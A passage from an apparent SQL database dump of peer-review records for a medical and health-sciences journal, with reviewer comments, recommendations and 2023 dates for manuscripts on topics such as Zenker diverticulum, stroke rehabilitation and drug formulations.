Therefore, there is a need for standardization of data to ensure consistency and comparability across different studies.\r\n2. Data governance and security: EHR data is subject to strict governance and security regulations. Researchers need to ensure that they adhere to these regulations and protect patient privacy and confidentiality.\r\n3. Ethical considerations: Conducting research using EHR data raises ethical considerations such as informed consent, confidentiality, and patient autonomy. Researchers need to address these issues to ensure that their research is conducted ethically.\r\nOverall, setting up policies for translational research in EHRs requires addressing several challenges related to data access, standardization, quality, governance, ethics, collaboration, and funding. By addressing these challenges, researchers can conduct successful translational research using EHR data.','The article Accepted with minor revisions','2023-03-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5297,16324,13607,NULL,'3','g','y','y','y','The article Accepted with major revisions.','Accepted ','2023-03-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5298,9909,13600,NULL,'4','R','Y','Y','Y','Hello, I think some sentences could be improved, for example. \r\n\"A few neurodegenerative conditions and sicknesses, like Alzheimer\'s illness, Huntington\'s infection, Parkinson\'s infection, amyotrophic parallel sclerosis and epilepsy, additionally include corruption.\" could be better redacted to improve the comprehensions. ','I think it is good article. ','2023-03-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5299,17204,13621,NULL,'5','g','y','y','y','1. The study\'s results emphasize the need for individualized treatment plans based on the patient\'s life expectancy and prognosis. Moreover, the retrospective design of the study limits its ability to draw causal relationships between prognostic factors and patient outcomes.\r\n\r\n2. However, the study provides valuable insights into the factors that affect the survival of patients with metastatic bone disease. The finding that surgical intervention is a significant prognostic factor affecting survival is particularly noteworthy. The study further highlights the importance of considering various prognostic factors, such as age, location of lesions, number of bone lesions, and chemotherapy, when managing patients with metastatic bone disease.\r\n\r\n3. The images and tables included in the research are helpful in visualizing the findings.\r\n\r\n4. The study\'s emphasis on the importance of assessing the patient\'s quality of life using the Eastern Cooperative Oncology Group (ECOG) questionnaire is also noteworthy. The finding that ECOG performance status at three, six, and twelve months post-surgery is a statistically significant factor affecting survival underscores the importance of monitoring patients\' quality of life in addition to their clinical outcomes.\r\n\r\n5. Overall, the study\'s methodology is well-described, and the results are presented clearly, making it easy to understand the findings and the study provides valuable information that can help guide clinical decision-making and improve the overall prognosis and quality of life of patients with metastatic bone disease.\r\n\r\n6. The article is well-written and presents detailed prognostic factors. Accept the manuscript without any changes and publish online.\r\n','Accept the manuscript without any changes and publish online.','2023-04-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5300,21632,13058,NULL,'3','g','y','y','y',' I have to appreciate the interest in selecting a unique and rare topic and this manuscript provides more meaningful information to scientific researchers.\r\n This manuscript is credit-worthy and hence it can be published in the journal.','Proceed with the publication.','2023-04-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5301,21632,13058,NULL,'3','g','y','y','y',' I have to appreciate the interest in selecting a unique and rare topic and this manuscript provides more meaningful information to scientific researchers.\r\n This manuscript is credit-worthy and hence it can be published in the journal.','Proceed with the publication.','2023-04-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5302,21632,13114,NULL,'3','g','y','y','Y','I have to appreciate the interest in selecting a unique and rare topic and this manuscript provides more meaningful information to scientific researchers.This manuscript is credit-worthy and hence it can be published in the journal.\r\n','Proceed with the publication.','2023-04-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5303,12875,13645,NULL,'4','G','N','Y','Y','A well-written article in general describes the Medico-legal aspects and the medical treatments for expelling the ingested drug packets.  However, Table 1  Clinical effect of acute poisoning by cocaine has no relevance as the paper discussed asymptomatic cases.The table becomes relevant only if any of the cases have any of the symptoms listed.','A very good article needs publishing without the table.','2023-04-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5304,21650,13646,NULL,'5','g','y','y','y','1.	Zenker diverticulum: pathophysiology, clinical presentation, and therapeutic management are an excellent and informative article that provides a comprehensive overview of Zenker diverticulum. \r\n\r\n2.	The authors have done a great job of explaining the pathophysiology of the condition in a clear and concise manner, making it easy to understand even for those who are not familiar with the topic.\r\n\r\n3.	The clinical presentation section is also very well-written, and the authors have done an excellent job of outlining the various symptoms that patients with Zenker diverticulum may experience. \r\n\r\n4.	The information is presented in a way that is both informative and easy to understand, which is especially important when it comes to medical topics.\r\n\r\n5.	One of the things that I appreciated most about this article is the thoroughness of the therapeutic management section. \r\n\r\n6.	The authors provide a detailed overview of the various treatment options available for Zenker diverticulum, including both surgical and non-surgical approaches. \r\n\r\n7.	They also discuss the pros and cons of each option, which is incredibly helpful for patients and healthcare professionals alike.\r\n\r\n8.	Overall, I highly recommend Zenker diverticulum: pathophysiology, clinical presentation, and therapeutic management to anyone who is interested in learning more about this condition. \r\n\r\n9.	The authors have done an excellent job of presenting the information in a clear and concise manner, and the article is a valuable resource for anyone who is looking to better understand the diagnosis and management of Zenker diverticulum.\r\n','Accepted The article Without Changes. ','2023-04-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5305,9206,13587,NULL,'5','g','y','y','y','The study regarding Application of Machine learning in long term healthcare cost prediction\r\nData pre-processing: Healthcare data is often unstructured and incomplete, which can make it difficult to use for predictive purposes. ML algorithms can be used to clean and preprocess the data, making it more suitable for analysis.\r\n\r\nFeature selection: Once the data has been pre-processed, ML algorithms can be used to identify the most relevant features for predicting healthcare costs. This can include demographic information, medical history, lifestyle factors, and more.\r\n\r\nPredictive modeling: ML algorithms can be used to build predictive models that can forecast future healthcare costs based on historical data. These models can take into account a wide range of factors, including the patient\'s medical history, lifestyle, and demographics.\r\n\r\nRisk stratification: ML can be used to identify patients who are at high risk of developing chronic conditions or requiring expensive medical interventions. This can allow healthcare providers to intervene early and prevent costly complications.\r\n\r\nPersonalized treatment plans: By analyzing data on individual patients, ML algorithms can help healthcare providers develop personalized treatment plans that are tailored to the patient\'s unique needs and circumstances. This can help to improve outcomes and reduce costs over the long term.\r\n\r\nOverall, the application of ML to long-term healthcare cost prediction has the potential to improve healthcare outcomes while reducing costs. However, it is important to ensure that the algorithms used are accurate, reliable, and transparent, and that patient privacy is protected throughout the process.','Accepted ','2023-04-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5306,21529,13653,NULL,'3','R','N','N','N','Generally, this is a well-written manuscript. The author showed a very detailed background and introduction. The methods and results were easy to follow and understand. However, I have following concerns:\r\n1. The author needs to revise the language a lot, for example, in the 2nd page, results session, for some readers may not know what is \"r\" mean;\r\n2. The author should show some univariate analysis;\r\n3. The author should re-format the article so readers can better understanding the content. \r\n\r\n','','2023-04-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5307,21547,13664,NULL,'5','R','Y','Y','Y','Recommended','','2023-04-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5308,11689,13612,NULL,'5','g','y','y','y','The study regarding A Comparison of the Demographics and Health Systems in 4 Asian Countries Regarding Antenatal Care Services and the Prevalence of Low Birth Weight \r\n\r\nIn terms of the methodology, the review should evaluate the validity and reliability of the data collection methods used, such as surveys or medical records. It should also assess the statistical analysis used to compare the data across different countries.\r\n\r\n','Accepted ','2023-04-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5309,20788,13668,NULL,'5','G','Y','Y','Y','The study provides a clear objective and methodology, which allows for easy understanding of the research design. The use of both PNPG and starch as substrates provides a comprehensive analysis of the inhibitory effects of the extracts.\r\nThe inclusion of Acarbose as a reference allows for better comparison of the inhibitory potency of the extracts. The screening of phytochemicals and phenolic content adds value to the study by providing additional information on the extracts. The results are clearly presented and provide a clear comparison between the inhibitory effects of the two extracts. The study provides valuable information for the development of new antidiabetic drugs from natural sources. The use of aqueous extracts makes the study more relevant to traditional medicine practitioners who often use water-based extracts in their treatments. The finding that A.w.r is a more potent inhibitor of alpha amylase and alpha glucosidase is a significant contribution to the field of antidiabetic drug discovery. The study highlights the potential of Acalypha wilkesiana as a source of natural antidiabetic agents. The use of Aspergillus oryzae and Saccharomyces cerevisiae as model enzymes enhances the relevance of the study to the food and beverage industry.','','2023-04-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5310,10976,13620,NULL,'5','g','y','y','y','The article begins by describing the effects of stroke on the brain and the consequent motor deficits that arise. It then goes on to discuss the principles of neurodynamics and how they can be used to promote motor recovery. The authors review various techniques such as motor imagery, mirror therapy, and electrical stimulation that have been used in neurorehabilitation and evaluate their effectiveness in promoting neuroplasticity and motor recovery.\r\n\r\nOne of the strengths of this review article is the comprehensive analysis of the various techniques used in neurorehabilitation. The authors provide a critical assessment of the effectiveness of these techniques and their limitations. They also highlight the importance of individualized treatment approaches that consider the unique needs and abilities of each stroke survivor.\r\n\r\nAnother strength of this article is the clear explanation of the underlying mechanisms of neurodynamic and how they relate to motor recovery. The authors provide a detailed description of the neural pathways involved in motor function and how these pathways can be modified through neuroplasticity.\r\n\r\nHowever, one limitation of this review article is the lack of discussion on the potential adverse effects of some of the techniques discussed. For instance, while electrical stimulation has been shown to be effective in promoting motor recovery, it may also cause discomfort and pain in some stroke survivors. The article would have benefited from a more in-depth analysis of the risks and benefits of each technique.\r\n\r\nOverall, neurodynamics for motor recovery after stroke is a well-written and informative review article that provides valuable insights into the use of neurodynamics in promoting motor recovery. It is recommended for anyone interested in stroke rehabilitation and neuroplasticity.\r\n','Accepted ','2023-04-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5311,11715,13651,NULL,'5','g','y','y','y','The study regarding Women Workers in Informal Sector in Kashmir: Understanding the Reproductive Health and Occupational Vulnerability of Women Street Vendors in Srinagar \r\n\r\nAnother strength of this article is the use of qualitative research methods, including in-depth interviews and focus group discussions, to gather data from women street vendors. This approach allows for a more nuanced understanding of the challenges faced by these women and the factors that contribute to their vulnerability.\r\n\r\nHowever, one limitation of this research article is the small sample size, which may limit the generalizability of the findings. The study was conducted with a sample of 30 women street vendors in Srinagar, and while the authors acknowledge the need for further research, a larger sample size would have strengthened the study\'s conclusions.\r\n\r\nOverall, Women Workers in Informal Sector in Kashmir: Understanding the Reproductive Health and Occupational Vulnerability of Women Street Vendors in Srinagar is a valuable contribution to the literature on women\'s health and occupational vulnerability in the informal sector. It provides important insights into the challenges faced by women street vendors in Srinagar and highlights the need for gender-sensitive policies to address these challenges.','Accepted ','2023-04-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5312,11578,13689,NULL,'5','g','y','y','y','The article is well-written and provides a clear overview of the importance of linearity in health science investigations. The author uses relevant examples to illustrate key concepts, and the language is accessible to readers with a basic understanding of health science research. Additionally, the article is well-organized, with each section clearly outlining a different technique for improving linearity.\r\n\r\nOne potential area for improvement is that the article could benefit from more detailed explanations of some of the statistical concepts mentioned, such as regression analysis and ANOVA. While these concepts are briefly introduced, readers without a background in statistics may still struggle to fully understand their application in health science investigations.\r\n\r\nOverall, the article provides a useful introduction to the topic of improving linearity in health science investigations, and would be a valuable resource for researchers looking to improve the accuracy and reliability of their findings.\r\n','Accepted ','2023-04-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5313,21392,13598,NULL,'5','g','y','y','y','The topic of occupational risks during the COVID-19 era is of great importance, as it pertains to the health and safety of workers who are on the front lines of the pandemic. A meta-analysis of perceptions of occupational risks in the COVID-19 era would be a valuable contribution to the field of occupational health and safety.\r\n\r\nWhen reviewing a meta-analysis, it is important to consider the quality of the studies included in the analysis, as well as the methods used to synthesize the results. Additionally, it is important to examine any potential biases or limitations that may affect the interpretation of the findings.\r\n\r\nOverall, a well-conducted meta-analysis of perceptions of occupational risks in the COVID-19 era could provide valuable insights into the perceptions and experiences of workers during the pandemic, which could inform public health policies and interventions aimed at protecting workers from occupational hazards.','Accepted','2023-04-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5314,21503,13611,NULL,'5','g','y','y','y','Overall, the review should focus on the impact of COVID-19 on water service quality, including the availability, accessibility, and reliability of water services, as well as the measures taken by water service providers to ensure the safety and quality of water. It is also important to consider the potential long-term impacts of the pandemic on water service quality, particularly in developing countries or areas with limited access to resources and infrastructure.\r\n\r\nAdditionally, the review should examine the role of water service quality in the broader context of public health and disease prevention. This could include an analysis of the impact of water service quality on the transmission of other waterborne diseases, such as cholera or typhoid fever, and the potential for COVID-19 to exacerbate existing disparities in access to clean water.\r\n\r\nIn conclusion, a comprehensive review of water service quality networks against COVID-19 should provide valuable insights into the current state of water services and their role in mitigating the spread of the virus. It should also highlight the need for continued investment in water infrastructure and resources to ensure that all communities have access to clean and safe water.\r\n\r\n\r\n\r\n\r\n\r\n\r\n','Accepted ','2023-04-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5315,21528,13726,NULL,'5','G','Y','Y','N','Overall, this is a well-written manuscript. The author provided a very detailed background and introduction. The method session was nicely presented and easy to follow. The statistical analysis session was also neatly depicted. The result session was well presented. I don\'t have any concerns to publish this article.','','2023-04-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5316,11687,13652,NULL,'5','g','y','y','y','The article study about Entrepreneurship networks in the Covid-19 era\r\n\r\nThe COVID-19 pandemic has significantly impacted the global economy and has resulted in a surge of entrepreneurship activity. With many businesses shutting down due to the pandemic, individuals have been forced to explore alternative ways to make a living, which has led to a surge in entrepreneurship.\r\n\r\nEntrepreneurship networks have become increasingly important during this time, as they provide a means for entrepreneurs to connect with one another, share knowledge and resources, and collaborate on new business ideas. These networks have helped entrepreneurs navigate the challenges posed by the pandemic, such as changes in consumer behavior, supply chain disruptions, and financial uncertainty.\r\n\r\nMoreover, technology has played a significant role in supporting entrepreneurship networks in the COVID-19 era. With the rise of virtual communication tools and online platforms, entrepreneurs are now able to connect with one another from all over the world, making it easier to build relationships and access resources.\r\n\r\nOverall, entrepreneurship networks have played a crucial role in supporting entrepreneurs during the COVID-19 pandemic. As we move forward, these networks will continue to be an essential component of the entrepreneurial ecosystem and will help drive innovation and economic growth.\r\n\r\n','Accepted ','2023-04-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5317,15733,13729,NULL,'5','g','y','y','y','Exploratory factor analysis (EFA) is a statistical technique used to identify underlying factors that explain the correlations between observed variables. EFA can be useful for understanding complex phenomena and identifying key factors that influence them. Immersive formation, on the other hand, refers to the process of creating a sense of presence or immersion in a virtual environment.\r\n\r\nThe COVID-19 pandemic has led to an increased interest in immersive technologies as a way to maintain social connections and engage in activities while physically distancing. Understanding the factors that contribute to immersive formation in the COVID-19 era could be valuable for developing effective virtual experiences.\r\n\r\nOverall, it sounds like the exploratory factor model of immersive formation in the COVID-19 era could be a useful approach for investigating this topic. However, as I cannot access the specific paper in question, I cannot provide more detailed feedback','Exploratory factor analysis (EFA) is a statistical technique used to identify underlying factors that explain the correlations between observed variables. EFA can be useful for understanding complex phenomena and identifying key factors that influence them. Immersive formation, on the other hand, refers to the process of creating a sense of presence or immersion in a virtual environment.\r\n\r\nThe COVID-19 pandemic has led to an increased interest in immersive technologies as a way to maintain social connections and engage in activities while physically distancing. Understanding the factors that contribute to immersive formation in the COVID-19 era could be valuable for developing effective virtual experiences.\r\n\r\nOverall, it sounds like the exploratory factor model of immersive formation in the COVID-19 era could be a useful approach for investigating this topic. However, as I cannot access the specific paper in question, I cannot provide more detailed feedback','2023-04-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5318,9159,13735,NULL,'5','G','Y','Y','Y','Overall, the topic of the study is interesting and informative, providing information about the composition and potential benefits of the jackfruit, as well as its use in traditional medicine. \r\nThe study could benefit from more detailed information about the participants or samples used in the research. For instance, it would be helpful to know how the jackfruit extract was obtained and whether there were any variations in the chemical composition between different parts of the fruit or between fruits from different regions.','','2023-05-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5319,7213,13735,NULL,'6','G','Y','Y','Y','Theis tudy could also benefit from more information about the dosage and administration of the effervescent granules, as well as the potential side effects or contraindications of using jackfruit extract as a supplement.\r\n\r\nThe authors could consider including more information about the mechanisms underlying the potential health benefits of the jackfruit, such as the antioxidant or anti-inflammatory effects of the phytochemicals identified in the extract.','','2023-05-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5320,7212,13735,NULL,'5','G','Y','Y','Y','Overall, with some additional information and context, this study could make a valuable contribution to the literature on the jackfruit and its potential health benefits.\r\nStrongly Recommended','','2023-05-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5321,9135,13741,NULL,'5','G','Y','Y','Y','Overall, the research work is comprehensive and provides valuable insights into the optimization of tasteless drug resin complex formulations. The study is well-structured, and the methodology is sound, making it a significant contribution to the field of drug development.','','2023-05-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5322,9154,13741,NULL,'6','G','Y','Y','Y','Overall, this is a clear, concise, and well-written manuscript. The introduction is relevant and theory based. Sufficient information about the previous study findings is presented for readers to follow the present study rationale and procedures. The methods are generally appropriate.\r\nThe research work appears to be a thorough study of the process variables involved in optimizing the tasteless drug resin complex of Propranolol hydrochloride and Kyron-T 314. The study focuses on the effect of different parameters such as swelling time, stirring time, pH, temperature, drug resin ratio, and resin activation, and their impact on the taste and percentage of drug loading.\r\n\r\n','','2023-05-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5323,9133,13741,NULL,'6','G','Y','Y','Y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, The paper is generally well written and structured. \r\nOverall the information presented represents valuable information.','','2023-05-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5324,5467,13742,NULL,'5','g','y','y','y','- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2023-05-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5325,21672,13171,NULL,'5','r','y','y','y','The title is very relevant and the writeup is well articulated. This is a clear, concise, and well-written manuscript. \r\nSufficient information is presented for readers to follow the present study rationale and procedures.','','2023-05-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5326,5467,13763,NULL,'5','g','y','y','y','- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2023-05-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5327,5467,13761,NULL,'5','g','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2023-05-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5328,11350,13761,NULL,'y','y','n','y','y','It should be pointed out that other researcher work and dissemination a part is not covered in other studies. In conclusion, it should be mentioned about potential future uses and how to use this tool in pandemics. The research work needs to be more comprehensive.','A few minor edits need to be executed, the author needs to reference other studies, and the discussion and conclusion sections need to be improved.','2023-05-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5329,21671,13774,NULL,'5','G','D','Y','Y','This is a comprehensively researched study and the author is self critical of the limitations and the financial constraints. It is a well researched and drafted manuscript. ','','2023-05-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5330,12532,13764,NULL,'5','g','y','y','y','The evaluation report on the accuracy of the hCG Rapid Test Dipstick, as verified by a multi-center clinical comparison experiment, presents valuable insights into the performance of this diagnostic tool\r\nStrengths:\r\n\r\nRigorous Experimental Design: The multi-center clinical comparison experiment conducted to evaluate the accuracy of the hCG Rapid Test Dipstick demonstrates a strong methodology. By involving multiple centers, the study improves the generalizability of the findings and reduces the risk of bias.\r\n\r\nSample Size and Diversity: The report adequately addresses the importance of a large and diverse sample size. The inclusion of participants from different demographics and clinical backgrounds enhances the reliability and applicability of the results to real-world scenarios.\r\n\r\nClear Performance Metrics: The report establishes well-defined performance metrics to assess the accuracy of the hCG Rapid Test Dipstick. By comparing the results of the dipstick test with a reference standard, the study provides a robust evaluation of its effectiveness.\r\n\r\nStatistical Analysis: The statistical analysis employed in the report adds credibility to the findings. The use of appropriate statistical tests and measures helps in drawing accurate conclusions from the data and strengthens the overall validity of the evaluation.\r\n\r\nAreas for Clarification or Improvement:\r\n\r\nMethodological Details: While the report mentions the use of a multi-center clinical comparison experiment, it would be beneficial to provide more detailed information about the specific procedures followed at each center. Describing the selection criteria for participants, the process of sample collection, and the testing protocol would enhance the replicability of the study.\r\n\r\nReference Standard: The report briefly mentions the use of a reference standard for comparison, but it does not provide sufficient information about the standard itself. Further clarification is needed regarding the validity and reliability of the reference standard used, as well as its established accuracy in previous studies.\r\n\r\nReporting of Results: The report should include a comprehensive presentation of the results, including sensitivity, specificity, positive predictive value, negative predictive value, and any other relevant performance indicators. Additionally, providing confidence intervals or measures of uncertainty would further enhance the interpretation of the findings.','Accepted ','2023-05-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5331,9154,13773,NULL,'5','g','y','y','y','The introduction provides a clear overview of the purpose and significance of the study, emphasizing the need for a novel drug delivery system for adapalene.\r\nHowever, it would be beneficial to include a brief discussion of the existing conventional formulations and their limitations, which would provide a better context for the novelty and potential advantages of the proposed microsponge gel.','','2023-05-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5332,9134,13773,NULL,'5','g','y','y','y','The results section presents a comprehensive analysis of the formulated microsponges and their evaluation parameters, including production yield, encapsulation efficiency, particle size analysis, and in vitro drug release study. This provides a solid foundation for the subsequent discussion.\r\nThe discussion could be expanded by comparing the obtained results with previously reported studies on similar drug delivery systems. This would help demonstrate the novelty and potential advantages of the current study.\r\nStrongly Recommended.','','2023-05-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5333,7287,13773,NULL,'6','g','y','y','y','Overall, this is a clear, concise, and well-written manuscript. The introduction is relevant and theory based. Sufficient information about the previous study findings is presented for readers to follow the present study rationale and procedures. The methods are generally appropriate.\r\nThis is an interesting study and the authors have collected a unique dataset using cutting edge methodology, The paper is generally well written and structured. \r\n','','2023-05-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5334,9133,13773,NULL,'6','g','y','y','y','Overall the information presented represents valuable information. The abstract improved statements.\r\nThe drug release profiles of the microsponge gel and the optimized batch (MGI F4) are discussed, highlighting the high drug release percentages.\r\nHowever, it would be helpful to explain the rationale behind selecting zero-order release as the kinetic model for the gel formulation. Additionally, discussing the potential benefits and drawbacks of zero-order release in the context of acne treatment would enhance the discussion.','','2023-05-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5335,11714,13760,NULL,'5','g','y','y','y','The study regarding In vivo and Invitro Studies on Chemo protective Efficacy of Resveratrol in Breast Cancer The beneficial effects when administered in different concentrations with anticancer drugs to breast cancer cells were well studied. \r\nEffects of Resveratrol with different anti-cancer drugs have been studied and concluded that resveratrol have beneficial effects when administered in different concentrations with anticancer drugs to breast cancer cells.\r\nThe article needed all headings for the publication it is accepted for publish in this journal ','Accepted','2023-05-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5336,21374,13783,NULL,'5','g','y','y','y','Public and Population Health Informatics: Revolutionizing Healthcare for the Masses\" provides an insightful and comprehensive exploration of the impact of informatics on public and population health. The book effectively highlights the revolutionary potential of informatics in transforming healthcare delivery and improving health outcomes for large populations.\r\n\r\nOne of the strengths of this book is its clear and structured approach to presenting the subject matter. The authors provide a thorough overview of key concepts and principles in health informatics, ensuring that readers from various backgrounds can understand and engage with the material. The book delves into the specific applications of informatics in public and population health, such as disease surveillance, health promotion, and healthcare planning, offering concrete examples and case studies to illustrate their significance.\r\n\r\nAnother commendable aspect of the book is its focus on the potential benefits of informatics for underserved and marginalized populations. It emphasizes how technology can bridge gaps in healthcare access and reduce health disparities, making it particularly relevant in today\'s global context. By showcasing real-world examples of successful implementations, the book inspires readers and fosters a sense of optimism about the transformative power of informatics in improving health equity.\r\n\r\nAccepted for publication 